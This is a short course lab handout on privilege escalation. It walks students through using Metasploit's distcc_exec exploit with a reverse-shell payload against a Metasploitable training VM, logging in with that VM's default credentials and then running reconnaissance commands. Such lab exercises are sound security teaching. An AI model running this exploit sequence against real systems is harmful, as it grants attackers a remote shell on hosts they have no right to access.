 


Vulnerabilities
Privilege escaltion
Escalation Lab
[bookmark: _bookmark1]Watch the demo video provided to learn how to use Metasploit. Follow the steps below to complete a privilege escalation attack using Metasploit.

[bookmark: _GoBack]PRivlege Escaltion lab\\ follow these steps

1. Open the Kali 2.0 VM and open the terminal window
2. Open Metasploitable and login using 
a. Username: msfadmin
b. Password: msfadmin
3. Start Metasploit by typing in the command msfconsole in the Kali terminal

4. use exploit/unix/misc/distcc_exec
5. show payloads
6. set payload cmd/unix/reverse
7. show options
8. set options if neccessary
9. exploit
10. uname -a
11. ifconfig
12. ls
13. whoami


What to submit 

Screenshots of steps 7, 8, and 11 to prove that you completed the lab fully and successfully.
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